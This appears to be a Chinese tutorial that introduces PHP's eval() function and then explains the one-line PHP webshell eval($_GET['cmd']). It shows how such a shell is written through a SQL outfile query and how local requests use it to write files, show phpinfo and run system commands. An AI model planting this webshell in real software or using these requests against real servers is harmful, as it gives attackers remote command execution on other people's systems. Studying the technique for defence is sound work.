eval函数简介与PHP一句话木马剖析

eval函数简介与PHP一句话木马剖析

一、eval函数

1. eval() 函数把字符串按照 PHP 代码来计算。
2. 该字符串必须是合法的 PHP 代码，且必须以分号结尾。
3. 如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false。

二、eval函数的一般用法

	$string = "beautiful";

	$time = "winter";
	
	$str = 'This is a $string $time morning!';
	
	echo $str. "
";
	
	eval("\$str = \"$str\";");
	
	echo $str;

?> 

输出

This is a $string $time morning!

This is a beautiful winter morning! 

三：eval函数的特殊用法

	eval($_GET["cmd"]);
?>

四：php一句话挂马的原理

1. 通过数据库写马：

select "" into outfile "D:\\phpStudy\\WWW\\bb.php",//不过这个命令是DB和web在同一台机器的时候可以这样执行

2. 通过web写马

 

	eval($_GET["cmd"]);

?>

访问：

http://localhost/test.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

3. 查看php的shell信息：

http://localhost/test.php?cmd=phpinfo();

4. 查看当前运行的服务

http://localhost/test.php?cmd=system("net start");